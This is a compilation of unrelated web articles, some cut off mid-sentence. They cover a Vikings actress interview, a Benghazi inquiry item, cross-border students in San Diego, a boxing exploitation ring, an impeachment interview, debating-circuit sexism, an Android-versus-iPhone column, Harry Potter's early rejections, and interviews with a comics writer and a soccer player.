Personally, I love the concept of that sort of bond between Ragnar and Lagertha, even if, as Katheryn said, it probably won’t be in this world. Considering Lagertha has taken another lover since Kalf’s death, and that that lover is a woman (yay!), I certainly don’t hope for there to be a full-on Ragnar/Lagertha reunion anytime soon. Speaking about this new relationship with Astrid (played by Josefin Asplund), Winnick explained,
Lagertha is in a different place…she developed this relationship with Astrid…Lagertha has been betrayed by so many men throughout her life…So her relationship with men, I’m not sure it will change. I’m not sure she will ever trust a man again. So it did make sense that she would find comfort in another human being and that that human being happened to be a woman. I don’t feel that Lagertha is necessarily a lesbian – I wouldn’t necessarily see that and I never really played it that way, but she did find a love with [Astrid] that other men have never been able to give her.
Katheryn Winnick went on to mention that Josefin brings a lot of humor to the character and that Astrid deals with Lagertha in a very unique way; additionally, Lagertha has groomed Astrid to be the warrior that she is and it’s nice to see that it’s not a situation where it’s just two women in bed together – that “there is a strong bond that is not necessarily the sexual part of a relationship, but more of an emotional bond that is evident and really beautiful to see.”
On a personal note, I love that we’re going to get to see Lagertha in an apparently healthy relationship; the fact that it’s with another women is like the extra cherry on top. I’m a bit torn about the idea that Lagertha may have ended up with a woman because of her being wronged by so many men, but I’m glad that Winnick followed that up with a much sweeter explanation of Lagertha and Astrid’s relationship.
Unfortunately, due to time constraints I was only able to get one question in, that being “How does Lagertha feel about her son Bjorn abandoning his responsibilities to his daughter?” To be honest, I was pleasantly surprised by Katheryn’s answer…
I feel that Lagertha is a warrior, and she understands that Bjorn has ambitions past…just being a father. And especially in those times it is not uncommon for the warriors to go out to explore different lands and to…raid. So is it comfortable for her to…leave her granddaughter [with] Aslaug? No, not necessarily. I don’t think that’s the ideal situation. But she does understand that Bjorn is Bjorn and she really wants the best for him…So I do feel that it’s different from how we may look at it now in our society, that he’s not necessarily a great father, but in those days it [was about] making a name for yourself and teaching your children to be good warriors and to be able to find their own path…[it’s] what really drove them and is definitely what drives Lagertha.
Thankfully between some other great questions and Katheryn Winnick’s consistently wonderful answers, this was one of the more enjoyable press conferences I’ve ever been part of. It was awesome to hear from her that “there is a very big battle coming up…and it’s one that’s…in the history books, and it is something that you wouldn’t expect and it is definitely epic. It’s powerful. It’s a battle and you will see deaths, unexpected deaths. You will see challenges within the fight. You will see personal relationships getting tested when they confront their enemies in the battlefield.” She also admitted that she loves “being a Viking…because it’s raw and it’s real”. And to be honest, that’s also why I personally love the show.
As for why I love Lagertha, well, Winnick explained that perfectly, too. Lagertha “is constantly getting challenged in her moral compass…[that] is what keeps her honest and…keeps her who she is…She is formidable, she is strong, but she is also a woman. She is allowed to be vulnerable, she is allowed to be feminist. She is allowed not to have her (shit) together at times, and that’s what makes [her] so real and fantastic. It’s not just the strengths of her character as a warrior but her strength, her personality, and her strong sense of will.”
Last but not least, I’m really glad that Katheryn Winnick brought up the shirt that she designed to raise money for women in film – it features Lagertha and the words “Wake Up, Kick Ass, Repeat”. I know I can’t wait to snag one of these shirts!
Check out Katheryn Winnick’s IMDB page for more information about her past, current, and future projects, and don’t forget that Vikings returns to the History channel on Wednesday, November 30th at 9 PM EST.
Author: Tara Lynne Tara Lynne is a fandom and geek culture expert, public speaker, and character cosplayer who is best known for her Cersei Lannister (Game of Thrones), Starbuck (Battlestar Galactica), and Andrea (The Walking Dead) cosplays. She founded Ice & Fire Con, the first ever Game of Thrones convention in the US, and now runs its parent company Saga Event Planning. Twitter
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Like this: Like Loading...The Benghazi Accountability Coalition has called on Rep. Trey Gowdy, R-S.C., chairman of the House Select Committee on Benghazi, to depose former Secretary of Defense Leon Panetta as soon as possible. Whether Gowdy agrees remains to be seen.
Why call committee members back less than three weeks before the mid-term election, rather than wait for November? The Benghazi Accountability Coalition, which includes numerous national security experts as well as family members of the four Americans who lost their lives in Benghazi in 2012, focus in the letter they sent on two pressing reasons to reconvene the investigative committee at the earliest possible moment:
1) Panetta’s new memoir of his time with the Obama administration, “Worthy Fights,” contains striking revelations of the administration’s handling of the Benghazi scandal, as have his interviews on the news circuit since the book’s publication earlier this month. Some of these revelations are at odds with Panetta’s previous testimony on the Hill.
2) U.S. embassies and diplomatic outposts, such as Yemen and Baghdad, still experience attacks and are in fact at growing risk from terrorists. This summer, the U.S. embassy in Tripoli had to be closed down under threat from extremists.
Various Benghazi-related remarks by Panetta have caused waves. In an interview with Bill O’Reilly, Panetta said he told the president “there was an attack by terrorists” as soon as he learned that the U.S. consulate in Benghazi was under fire. As for the White House talking points used by UN Ambassador Susan Rice on the Sunday talk shows, which blamed a demonstration and a video, Panetta said “I thought those talking points, frankly, were not on point […] there was no question in my mind that it was a terrorist attack.”
Furthermore, Panetta agreed that more hearings are warranted, based on assertions by the CIA security consultants in their new book “13 Hours in Benghazi.” The four were working at the CIA Annex in Benghazi when the attack took place and tried to rush to the scene within minutes. They were stopped by a superior for a half-hour, which possibly cost the lives of Ambassador Christopher Stevens and communications expert Sean Smith. “I have no reason not to believe them,” about the CIA contractors, said Panetta, who added that Congress should investigate their claims.
States the Coalition’s letter:“I try to do my best,” she added. “But sometimes, I just can’t.”
In the raging debate over immigration, almost all sides have come to agree on tougher enforcement at the border. But nearly unnoticed, frustration is focusing locally on border-crossers who are not illegal immigrants but young American citizens, whose families have returned to Mexico yet want their children to attend American schools.
Called “transfronterizos,” these students migrate between two cultures, two languages and two nations every day, straining the resources of public school districts and sparking debate among educators and sociologists over whether it is in American interests that they be taught in the United States. Although some Mexican families pay the steep tuition required of out-of-district students, most do not, and many that pay taxes out of their paychecks do not pay the property taxes that support public services.
Some of the students’ parents are American citizens and some are Mexican.
Students like Martha fly under the radar in some school districts, while other districts assign truancy officers to find who they are. They live with the anxiety of potentially having to lie about their residency and the very real possibility that the prize they are after — a decent education — will be taken from them. Though their exact numbers are unknown, their presence reflects the daily complexities of border life — among them, economic and educational disparities between the United States and Mexico and families splintered by deportation and unemployment.
Transfronterizos can be found from Calexico, Calif., to El Paso, where violence in neighboring Cuidad Juárez, Mexico, has led to the creation of a designated lane for 800 to 1,400 students daily, including American citizens who attend El Paso schools.
In Tijuana, Martha and a half-dozen high school seniors let a reporter accompany them on their daily commute and discussed their identity conflicts and criticisms by their American counterparts. Students, their parents and some teachers spoke on the condition of anonymity so as not to jeopardize their enrollment.
Martha’s mother, a seamstress, never got beyond ninth grade. Several days a week, she rises at 2 a.m. to claim a place for her daughter in line — a border mom, instead of a soccer or a tiger mom. Martha’s family pitches in on the mortgage for a Chula Vista house, where members of the extended family live, and pays utilities to establish residency.
Other Tijuana families rent apartments, “borrow” fake addresses from friends or create a post office box. Sometimes a relative in the district is appointed their child’s legal guardian.
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“It’s stressful,” Martha says of the house that is not really her home. “You can get found out and kicked out of school. Sometimes I feel bad for lying. But I’m just going to school.”
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In so many ways, they are simply teenagers, wearing sneakers and the ubiquitous white buds in their ears. In the border line, the chit-chat about hangovers and how strict their parents are could be that of young people anywhere waiting to get into a movie.
Except for the narcotic detector dogs, the Customs and Border Patrol officers and the sign that says, “Welcome to the United States.”
Luis, a wiry high school senior with gleaming braces, was born in Los Angeles and lived there as a freshman, spending the week in his uncle’s home and weekends visiting his family in Tijuana. Homesick, he finally moved to Mexico.
“I felt bad alone,” he said. “It’s tiring, but this way I can see my family all the days.”
Now he and his 16-year-old sister get up at 3 a.m. to drive to the border with their father, a landscaper who has a green card. The teens touch down for a shower at a studio apartment the family rents in the Chula Vista school district, and they walk two and a half miles to school. Luis’s younger sister cannot join them — she was born in Mexico. So were most of Luis’s friends.
“They say, ‘Oh man, it’s too hard to wake up at 3 in the morning,’ ” Luis said, sitting in his bedroom in Tijuana, which is decorated with posters of Piccadilly Circus, a place he has yet to visit. “On the other hand,” he said, “they are jealous that I can cross and they can’t.”
Although educational outcomes have greatly improved in Mexico, low high school graduation rates and high attrition rates in the northern industrial states of Baja California and Chihuahua “hinder development of a highly educated work force,” concluded a 1997 study by the Trans-Border Institute at the University of San Diego.
“The gap between the U.S. and Mexican sides is great enough that people have a strong incentive” to cross, said David Shirk, the institute’s director.
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Ana Sánchez, a Tijuana resident who works for a nonprofit organization in San Diego and pays United States income tax (although not property tax), wanted her two children to be fluent in English and enrolled them in a public school close to her job. “I know that in the future it’s going to be a plus for them,” she said.
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Initially, “trying to be honest,” Mrs. Sánchez told the district that her daughter lived in Tijuana. But when told she would have to pay $800 a month in tuition, “that’s when I got added to the electric bill at a friend’s address,” she explained.
For educators, determining whether a student meets residency requirements can be a thorny task, with rules varying from district to district and state to state. In San Ysidro, families must provide a mortgage or rental agreement and show utility bills in their name. Over the past two years the district has sent “letters of exclusion” to more than 20 families. In some cases, fraudulent documents were discovered. Manuel H. Paul, the superintendent, said educators were attuned to “red flags” like a phone call from a school nurse that reaches a disconnected number.
“The student will say, ‘We live in Tijuana,’ ” Mr. Paul said. “Children most of the time don’t lie.”
In 1982, the Supreme Court established that schools cannot inquire about a family’s immigration status. Ed Brand, superintendent of the Sweetwater Union High School District in Chula Vista, says an American citizen living outside the county would pay tuition of $7,162.
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“We’re not the I.N.S.,” he added, referring to the former Immigration and Naturalization Service. “Can one get by us? I imagine one can.”
In nearby Calexico, a truant officer was dispatched to photograph students crossing the border, but the practice was deemed “an exercise in futility” and discontinued, said Richard Fragale, the superintendent of schools. He estimates that between 100 and 200 students cross each day, most not paying tuition. Ultimately, there are painful decisions for the district. Recently, he said, two parents were deported, leaving two children, both American citizens, in limbo.
“What do we do with these youngsters?” he said. “Philosophically, as an educator, if a young person comes to the door, we should educate them.”
In Ajo, Ariz., the state education office fined the district $1.2 million in May 2010, for the cost of educating 105 students crossing over from Mexico. The district has since tightened its residency requirements.
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The issue is fairness, whether a student lives in Mexico or just outside a preferred school district in the United States, argues Steven A. Camarota, the research director for the Center for Immigration Studies in Washington, which favors limits on immigration. The possibility that these individuals could “pay enough in taxes to cover the costs of consumption of public services is basically zero,” he said.
Martha and her friends view classmates who live in the district as coddled couch potatoes. They don’t have to deal with jeering workers at the border cursing them for cutting in line. Or say “wake me up” to the Tijuana taxi driver who drives them home after dark.
Jesús travels 20 miles from Tijuana, on a twisting road known for robberies. He plans to study gastronomy. “I am just trying to get ahead and become someone important in life,” he says. “It’s a big responsibility making sure you get to school.” Five tardys can mean four hours of Saturday school and an F in citizenship.
“You can kill their future,” says one of Jesús’s teachers, who does not mark him late when he knocks shyly on the classroom door 10 minutes into first period.
Martha has crossed the border on and off since she was 5. Her life has its own ebb and flow, as well as the occasional undertow. In Tijuana, “sometimes people think we’re higher than them,” she says, because she attends an American high school. But as a Mexican in San Diego, “they look you up and down.” Divulging the particulars of their lives can be tricky business. “You can’t really rely on most people,” Martha says.
Rising at 3 a.m., Luis will sometimes fall asleep in his sixth-period world history class. “The teacher gets super-angry,” he said. ‘”You don’t tell those kind of teachers you cross.”
He shares his story sparingly with a few trusted Latino teachers. “Some of them crossed, like you. They want things to be better for you. But,” he allows, “that is not true of everyone. Some think we’re wasting tax.”
One teacher in Chula Vista, whose name was withheld to protect students in his class, including Martha, said, “I can’t draw all I want from her. Her intelligence is hidden away by her tiredness.”
Yet teachers and guidance counselors say that despite the academic challenges, students who get up at 4 a.m. to be at school show signs of becoming resilient leaders. “They know who are they are and what they want,” the teacher observed. “They’re not going to be working at Jack in the Box. They’re go-getters.”Police say they have broken up an international cartel that allegedly exploited boxers, forcing them to fight against their will in competitions right across Europe.
A three-month investigation has resulted in the arrest of seven Spanish nationals suspected of belonging to the ring.
They are being held accused of fraud, forgery, making threats and causing bodily harm.
Spanish officers say they have released 19 'victims' who were made "without undergoing medical controls and with false permits and licences".
The group, based in the industrial town of Terrassa, north of Barcelona, allegedly used a former Nicaraguan boxer dubbed 'El Terrible' to make contact with, and recruit, the victims.
A sports event company would invite the boxers to Spain to take part in a fight and once they arrived in the country the ring would hold them in a home in "overcrowded and unhealthy conditions", a police statement said.
"If they did not obey orders, members of the group would hit them and threaten to hurt their family members back in Nicaragua," the statement added.
The money earned from these fights would go entirely to the cartel.
The suspects have all been arrested over the past few weeks, a police spokesperson confirmed.Cass Sunstein’s new book, “Impeachment: A Citizen’s Guide,” published by Harvard University Press, is “a love letter to the United States of America,” in the words of its author. Cass is a leading scholar on the topic having published his first work on impeachment almost twenty years ago. The book offers a highly accessible, brilliantly thoughtful, and politically neutral analysis of what the Constitution means for our present moment and for generations that follow. Cass was generous enough to exchange his views with me on the toughest questions I could pose to him.
1. The relationship between impeachable offences and immunity from prosecution
GOODMAN: The Justice Department’s Office of Legal Counsel (OLC) has concluded that a sitting President is immune from criminal indictment while he is office. The OLC conclusion is predicated, in significant part, on the notion that an “alternative mechanism” exists: a President suspected of a most serious crime can be impeached instead and then prosecuted. In your analysis, however, a President cannot necessarily be impeached for many serious crimes unless they directly relate to an abuse of official power. If you are correct, does it mean at least one of the central reasons that the OLC gives for its conclusion that the President cannot be indicted is wrong?
SUNSTEIN:
Yes, it does. I agree with OLC’s conclusion, on Article II grounds, but there is a gap: Some serious crimes are not a legitimate basis for impeachment, but still, a sitting president cannot be prosecuted for those crimes.
2. Impeachable offenses: whether limited to abuses of power
GOODMAN: You conclude that impeachable offenses are generally limited to crimes that involve an abuse of official power. A President’s engaging in financial crimes and tax evasion, for example, would not count because they involve “private misconduct.” You draw this conclusion, in part, from the idea that we should read the words “against the United States” into the Impeachment Clause: “shall be removed from Office on Impeachment for, and Conviction of, Treason, Bribery, or other high Crimes and Misdemeanors” against the United States. (Your argument is that the prior draft of the Impeachment Clause included these words and was removed only for stylistic, not substantive, reasons.)
Let’s assume you’re correct that “against the United States” should be read into the clause. Shouldn’t “against the United States” in the Impeachment Clause be read in parity with the Pardon Clause which reads: “he shall have Power to grant Reprieves and Pardons for Offences against the United States, except in Cases of Impeachment.” The phrase “against the United States” in the Pardon Clause just means an offense of a federal nature because it is committed, in essence, against the nation as a whole. That is, the President has the power to pardon any federal offence (and it is not limited to offences involving abuses of power). What’s more, the Pardon Clause cross-references the Impeachment Clause. As a result of all this, isn’t the more natural and more sensible reading of “against the United States” in the Impeachment Clause the same as the Pardon Clause: it is meant simply to convey this category is akin to a national offence, not that “against the United States” means it must involve |
female debater that I should be careful not to sound “hysterical” as a female speaker, I have been told to defer to my male partner on analysis and economics because male debaters are “more convincing”, but never have I been openly disparaged in a final merely for being a woman.”
She continued to criticise the existing debate circuit: “Debaters should probably realise that while we all say we care about sexism, incidents like those of last night, the lack of proportionate numbers of females in competitive finals, and (most worryingly) the number of female freshers who report they have abandoned debating due to sexist behaviour or intimidation are not acceptable.”
In response to these events, the Cambridge Union Society, the Cambridge University debating club, voted unanimously to not allow their students to debate in Glasgow again. This is only a revocation of reciprocal membership however, and the Society will still allow debaters from Glasgow University to visit Cambridge.
Pam Cohn and John Beechinor, another judge, released a joint statement condemning the misogyny that took place, as well as proposing new moves to change the male-dominated debating circuit. They said: “This type of behaviour is beyond unacceptable. Although we cannot control GUU policy and what they do with these individuals, we would like to make it exceptionally clear that these individuals (who sometimes take part in competitive debating) are not welcome at any future competition either of us are part of the organising committee or Chief Adjudication panel for. This is one of the worst displays of sexism that either of us have seen on the debating circuit, and cannot express how upset it has made us.”
The two judges also announced they will no longer be sending debaters to the GUU unless an acceptable response by Union officials is made. David Lockhart, President of the GUU, also announced there will be disciplinary action for those members involved in the sexist abuse.For the past month, I have been using an HTC Droid DNA, which has similar specs to the rumored upcoming Samsung Galaxy S4. People approach me at grocery stores, airports, coffee shops, even on the street and ask me about the phone. The device is indeed quite compelling, even from a distance.
The HTC DNA has an amazingly bright 1080p HD display with a higher resolution than Apple's iPhone 5 Retina display. The operating system is modern with dynamic widgets that tell you at a glance what's going on. The apps such as Facebook, Twitter, and such are equivalent to those available to iOS, and Google Apps such as Google Now, voice recognition, and Google Maps are sleek and modern. This is hands down a better device than the iPhone 5, and people seem to intuitively recognize it.
What phone would I recommend for my mom? An iPhone. It's safe, predictable, and uniform. What would I recommend for anyone under 40? Definitely one of the new breeds of Android phones. Android might still be a bit quirkier than an iPhone, but it's definitely not confusing for people who interact daily with a variety of advanced technology. Samsung really nailed it in its commercial where a young woman is waiting in line for a new iPhone and it turns out she is holding the spot for her parents.
The new breed of Android devices exceed the iPhone 5 in every category -- hardware, operating system, and apps.
The spec is alive and well -- and killing Apple
Hardware from Samsung, HTC, LG, and others has now caught up and eclipsed Apple's devices. Smartphones don't really have that many specs to evaluate, and each of the specs actually means something tangible to an average consumer. After five years of advanced smartphones, specs like screen size, screen density, screen brightness, camera speed, camera megapixels, physical dimensions, physical weight, amount of memory, and battery life are easily understandable and relevant to even the average smartphone consumer. Even specs like the number of processor cores and speed that are typically not easy to understand are easily understood when framed as "faster than the iPhone 5."
Conversely, the spec is definitely irrelevant when purchasing Apple products. There are so few products to choose from that decision making is essentially boiled down to a Goldilocks-style small/medium/large decision mainly driven by cost rather than actual features. While this is great for my mom and MG Siegler, the lack of spec-based decision making is not necessarily a good thing in a world where consumers actually understand each of the specs and would like to choose how to balance them out relative to cost. Apple has been a follower on many specs, particularly in terms of form factors, trailing the market in both 4-inch phones and 7-inch tablets.
iPhones are definitely gorgeous devices, but they are relatively uniform and monotone. Aluminum is definitely great. I was surprised by how many women commented on the red accents on the HTC DNA, which are part of the DNA's crossbranding with Beats Audio. People like colors and variety, and they don't necessarily like having to completely cover a phone's shell and make it bulkier in order to express themselves.
Let's not forget that all of those Samsung Galaxy phones you see cost the same as an iPhone -- their owners are not bargain shoppers; they are spec and style shoppers.
The screen should actually show you something!
As mobile app developer Ralf Rottmann recently noted, the new generation of Android 4 Jelly Bean is a fundamentally better operating system than iOS -- better rendering, better cross-app sharing, better app/OS integration, and more polished.
But the real standout for Android is the customizability of the display. Rather than iOS static icons with embedded notifications, with Android, apps are front and center, displaying the time in different time zones, the weather, appointments, emails, texts, whatever you want in numerous themes that can completely reinvent the user interface.
Windows Phone 8, the dark horse in this race, is actually even more integrated, with a unified messaging interface that consolidates emails, texts, and Facebook messages into a single thread, and a consistent tile interface with which apps can display information on the home screens.
The operating system is not as important as the apps, and this is where Android is beginning to shine.
The cloud behind the app is more important than the app
In a world where the hardware and operating system have become commoditized, the apps are the differentiator, and more and more, the apps are a viewport into a cloud service driven by machine learning.
The vast majority of Internet users rely on Google Search, Maps, YouTube, Mail, and such, and spend more time in those apps than in the mobile operating system itself. As people are beginning to note, Google's apps are way better than Apple's. What good is Siri if it thinks "Hurricane Sandy" is a hockey team, when Google knows what's actually going on? Google Now is adding ambient awareness to Android devices, letting people know what's going on around them and what they need to do in a very personal way, with features like a notice that you need to leave for your next meeting because there is now traffic en route.
Perhaps, as is rumored off and on, Apple will start snapping up cloud services such as Waze. However, it is hard to buy and integrate a new type of product category into a large company that doesn't have it in its DNA. Competing with Google, an entrenched, dominant player in machine intelligence that recently added Ray Kurzweil to its roster is going to be a challenging affair. Microsoft actually had a better track record of delivering large-scale cloud services, such as mail, mapping, and storage, than Apple.
Beyond Google's apps, the reality of the app market is that all of the applications that matter are now on Android, and it actually will soon have more apps than iOS. Dan Lyons of ReadWrite is lambasting the Silicon Valley tech press for living in an iPhone echo chamber, and he does have a point. Pundits are lauding Google Maps features on their iPhones that have been available on Android devices for literally years. Bloggers breathlessly reveal new Facebook iPhone app features such as "Find Friends Nearby" that had been available for over a month on Android.
The feedback loop of the echo chamber is that developers initially develop apps on iOS, much like the recently popular Cinemagram. However, developers like Rottmann like cool devices, and are starting to shift over to Android. In addition, developers are feeling limited by iOS user interface patterns and its skeuomorphic apps and are branching out. Like the Mac OS of the early '90s, the consistent UI across applications will likely splinter.
The numbers speak for themselves. Android has a 75 percent smartphone worldwide market share, as evidenced by the hordes of Samsung devices in use throughout Europe and Asia. While Apple is regaining market share in the U.S. with the iPhone 5, it is about to face an onslaught of 5-inch Android phones with specs that far exceed the iPhone 5's. Wall Street clearly sees a shift coming, and has hammered Apple's stock price over the past quarter.
The average consumer has moved past the days of pious, scruffy haired, unshaven, thick glasses-wearing dudes lecturing us on how Apple is so cool. Perhaps soon Silicon Valley will catch up. When you see someone in a cafe with a MacBook Air, iPad, and iPhone on the table in front of them, is "Think Different" really what comes to mind?So surely the first editor who opened a box and saw this manuscript called Harry Potter and the Philosopher's Stone must have immediately started shitting dollar signs, right?
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Not even close.
The Rejection:
Author J.K. Rowling might have approximately all of the money now, but things didn't start out that way. Once upon a time, Rowling was living off of government assistance, retyping complete copies of the manuscript for Harry Potter and the Philosopher's Stone to send out to publishers because she was too broke to have photocopies made. So she sent off her precious slaved-over copies of the manuscript to publishing houses, where they promptly went into the trash.
Getty
"After careful consideration, we've decided to release the hounds."
The first several publishers she tried rejected it outright, all for the same reason: It was far too long for a children's book. Now, we feel it's important to interject here that, at 320 pages for the U.S. paperback edition, the first book is the shortest of the kajillions-sold series, with Harry Potter and the Order of the Phoenix topping out at close to three times that length. So not only was 320 pages not too much for the fragile brains of modern children, but they read six other, longer episodes -- 4,224 pages to be exact.
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Anyway, deciding that she needed an agent, Rowling thumbed through a directory and chose Christopher Little because the name sounded like a character in a children's book. She shipped her manuscript off to Little's office, where it met a familiar fate: An assistant tossed it straight into the rejection pile because Little thought that children's books didn't make any money. Again, it's understandable if maybe you don't anticipate that this child wizard story would ultimately make more money than the gross domestic product of Bolivia, but it seems like it would still occur to someone that it was worth putting the thing into print just to see what would happen.Credit: Marvel Comics
Credit: Marvel Comics
Chip Zdarsky has carved out a niche for himself as a creator with a sense of humor - a reputation that's led him to work on titles such as Sex Criminals, Howard the Duck, and Jughead. Now, he's well into his run on Peter Parker: The Spectacular Spider-Man, which will transition back to its classic numbering just in time to reach #300 later this year.
With artist Adam Kubert, Zdarsky relaunched Peter Parker: The Spectacular Spider-Man with a new #1, and brought back long-lost elements of Peter Parker's life such as his friendship with Johnny Storm and his supposed sister Teresa Parker - as well as introduced new characters such as Hophni Mason, the brother of the Tinkerer.
Peter Parker: The Spectacular Spider-Man #4 is freshly out on shelves - and it brings back classic Spidey villain the Vulture. Newsarama caught up with Zdarsky before the title reverts to its classic numbering in "Legacy" to find out what's in store when Spider-Man's old rivalry with J. Jonah Jameson kicks back up, what it's like demanding pictures of Spider-Man from Adam Kubert, and why it's hard to write Peter Parker and Johnny Storm when you have no friends.
And oh yeah, Marvel says there’s a "huge twist" coming up in issue #6 (the JJJ issue, cover above & below) that will "affect Spider-Man across all his titles," but Zdarsky couldn't talk about that.
Newsarama: Chip, it’s hard to believe Marvel was brave enough to let you write Peter Parker: The Spectacular Spider-Man. How’d you land the job?
Chip Zdarsky: There was a pretty specific idea for the book when Marvel conceived of it, which was a back-to-basics, new and returning reader friendly series. I think Nick Lowe, the editor, saw that I could write a fun Marvel U book with Howard The Duck, and that I clearly enjoyed writing Spider-Man since I had him pop up several times in it, so that helped. Also, maybe my Jughead re-launch with Erica Henderson helped? That was a job where I tried to reintroduce familiar elements of old Jughead comics while keeping things a bit more fresh and modern.
I mean, that’s the long answer. Short answer is that I’m extremely lucky.
Credit: Marvel Comics
Nrama: Your first arc of Peter Parker: The Spectacular Spider-Man has introduced several new characters, including the brother of the Tinkerer. How does it feel knowing you’re already adding to Spider-Man’s world? Was that a goal when you took on the series?
Zdarsky: It wasn’t as much a goal as it was a nice side effect of the story I’ve planned out! I feel like Hophni Mason works well as Tinkerer’s opposite, and helps show the downside of having siblings as Peter is confronted with his maybe-sister Teresa. But yeah, it’s a fun feeling adding to his world.
Nrama: What can you tell us about the “classic villain” that returned in Peter Parker: The Spectacular Spider-Man #4?
Zdarsky: Well, in issue four Vulture has The Mason in his sights. And since he received an upgrade in our FCBD story, it’s going to be a lot harder to stop him. I love writing characters who have a long history with Spidey, cause they really know each other and can tell what the other’s thinking. I’m pretty excited for people to see what Adam’s done with the action sequence in that issue! It’s pretty wild.
Nrama: Your well-established sense of humor really comes through in Peter Parker’s voice. Is writing credible Spider-Man banter something that comes naturally for you?
Zdarsky: It’s fun, but tricky! I feel like Spidey’s wisecracking has to be on the border of cheesy. He’s funny, but it’s a distraction element when he fights, so it has to feel like a guy making jokes on auto-pilot while avoiding killer metal octopus tentacles. If you think about the jokes too long, they feel like a prepared thing. I don’t know, I stress about stuff like this a lot.
Nrama: You brought back Spider-Man’s friendship with Johnny Storm, something that’s been on the backburner for a few years now. Are you drawing on a real-world relationship to depict that camaraderie?
Zdarsky: You’re just trying to get me to admit I have no friends and I’m not going to fall for it.
Nrama: How often have you demanded pictures of Spider-Man from Adam Kubert like J. Jonah Jameson?
Zdarsky: Ha! I have not done that, but when I worked for a newspaper, once in a blue moon I would have to draw Spider-Man for an illustration and I made sure the editor pounded his desk and told me to get him pictures of Spider-Man. It sadly thrilled me to no end.
Nrama: Seriously though, you’re a working artist yourself. Does that affect how you write for Adam? He’s a master – what does he bring to the process beyond just pencils?
Zdarsky: Well, you said it - he’s a master! And the best way to work with a master is to just get out of their way. The pages that come back from Adam are so full of life and invention that I sometimes worry my scripts limit him. He’s genuinely up for anything, which is the best trait you can have in a collaborator.
Credit: Marvel Comics
Nrama: Later this year, Peter Parker: The Spectacular Spider-Man is reverting to its classic numbering for “Legacy.” What does “Legacy” as a concept mean in relation to Spider-Man?
Zdarsky: I think beyond our initial back-to-basics mandate, we’re going to be looking at it from a familial perspective, with Teresa playing a larger, more concrete role in Peter’s life.
Nrama: Before “Legacy” hits, you’re sitting Spider-Man down with J. Jonah Jameson, Frost/Nixon style. How does that play into the “Threat Or Menace?” story that’s starting with #297?
Zdarsky: Jonah is the origin of the “threat or menace” phrase and sentiment, so it felt like a great prelude to the arc, having him and Spidey hash it out. It’s an intense issue with a lot of history being flung about. I’m pretty excited about it. Also, we have the amazing Mike Walsh on art for it! Two Canadians, desecrating an American icon.
Nrama: Obviously, Peter Parker: The Spectacular Spider-Man #300 is on the horizon. What can fans expect from that milestone?
Zdarsky: Peter Parker: The Spectacular Spider-Man #300 is going be massive. Huge battles, great guest stars, and some fun twists and turns. It’s pretty great that I got to experience launching a Spidey book with a new #1 and now just a few months later get to celebrate a milestone of an issue 300! Thanks, Marvel’s Math Department!Posted by
Steve Bottjer,
January 20, 2014 Email Steve Bottjer Twitter @BottjerRNO
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Nana Attakora
Toronto native Nana Attakora is a 24 year old defender who has played in the MLS with Toronto FC and the San Jose Earthquakes and in Finland with FC Haka. He was recently acquired by MLS side D.C. United via 2013 MLS Re-Entry Draft and is currently preparing for his first season with the Black-and-Red.
At the International level, Attakora has represented Canada at U-16, U-17, U-19, U-20, U-23 and at the senior national team level. He was named the Canadian U-20 Player of the year in 2008 and 2009 and made his first senior national team appearance in 2010 in a friendly match against Jamaica. Since then, he has gone on to represent his country a total of seven times.
RedNation recently had the chance to catch up with Attakora to discuss his move to DC United and his thoughts on the current state of the Canadian Men’s National Team.
RedNation Online (RNO): Nana, obviously the big recent news with you is your move to DC United. Were you excited when you learned you would be moving to a club that has so much history and has always been an important team in the league?
Nana Attakora: Yes, I was very excited. To be fair, I found out about the move before the Entry Draft happened. I was notified by my agent that there was a chance that I would be going there and I was prepared for it. The situation is good for me because they are rebuilding and, because I had a concussion last year, it was just a good place to go to get a fresh start.
RNO: With a team that is rebuilding like DC is, how valuable is your experience because you have a lot of playing experience in the league even though you are probably still younger than most people think?
Nana Attakora: It’s good. I spoke with the coach and general manager and they told me about their direction and what they want to do. Don’t get me wrong, they have brought in a lot of experienced players, but it will be an easier transition with the experience that I have. It will be good to be part of getting DC back to where they should be.
RNO: What has DC United Head Coach Ben Olsen told you about your role?
Nana Attakora: I spoke with him briefly and one thing he did tell me was that there would be a lot of competition and that he expects me to come in and battle right away. Nothing ever comes easy in the MLS, especially when a team is rebuilding. But I am excited and fit and ready to go.
RNO: Are you fully recovered from the concussion? It has seemed like you have had a bit of a bad run with injuries in recent years.
Nana Attakora: To be fair, I was recovered from the concussion in the beginning of October. With last season almost being over, they didn’t want to take any chances and we just decided to start over in the New Year. I have been fully recovered for several months and there aren’t any more problems.
RNO: Your move to DC might present the opportunity to pair up in central defense with Bobby Boswell, who has long been considered one of the best CBs in the league. I’m sure you’ve play against him in the past. Are you looking forward to playing on the same team with him?
Nana Attakora: Bobby Boswell has always been on teams who have competed for championships, so I thought it was a great move for DC United to bring him in. It is also a great move for me personally because I play the same position. He has that experience that comes with winning trophies and that is something I haven’t had in MLS. So to be around someone who has that experience is going to be so valuable for me going forward.
RNO: You’ve been moving around a bit over the last several years and I’m assuming the suitcase has not been packed away in the back of a closet for very long. Are you hoping to settle in DC for a while?
Nana Attakora: I am looking to do that and I’m hoping to make a home there. However, it is football and you never know what will happen in football. All I can do is work as hard as I can and take it one day at a time.
RNO: I know you are close friends with Dwayne De Rosario. Is it a little bit bittersweet that Dwayne left DC just before you arrived?
Nana Attakora: Yes, it is. It is funny because Dwayne was someone I was talking to when I heard about the possibility that I could be going to DC. So when I found out that he left and I was going there, it just highlighted one more time that you never know what is going to happen in football. Dwayne did tell me a lot of good things about DC, in terms of both football and things outside of football. He is still someone that I will speak to while I’m in DC. He’s always been someone who I can call if I need help.
RNO: You were a fan favourite during your time in Toronto and all the supporters certainly still think of you very highly. Do you still keep an eye on developments with TFC and what do you make of the last couple of weeks with all of Toronto’s big name acquisitions?
Nana Attakora: I’m so happy to see everything that has happened. I love the city and I loved playing in Toronto. During the time when I was playing there, everyone knows there was a whole lot going on with management and stuff like that. It is good to see that the club has finally found stability and that they have the direction in which they want to go. I talk to Doneil (Henry) all the time and it is great to hear about how serious they are about winning championships. I hope they do really well in Toronto. I want every sports team in Toronto to do really well. In addition to the new big signings, it is also great to see what is happening with the development of some of the younger players.
RNO: Another player move away from DC United that was bittersweet for me was fellow Canadian International Dejan Jakovic’s move to Japanese club Shimizu S-Pulse. I had been looking forward to the possibility of you and Dejan playing together and developing a partnership at the club level. Was he someone that you were looking forward to playing with or did you know that he would be leaving for Japan prior to everything being finalized with your move to DC United?
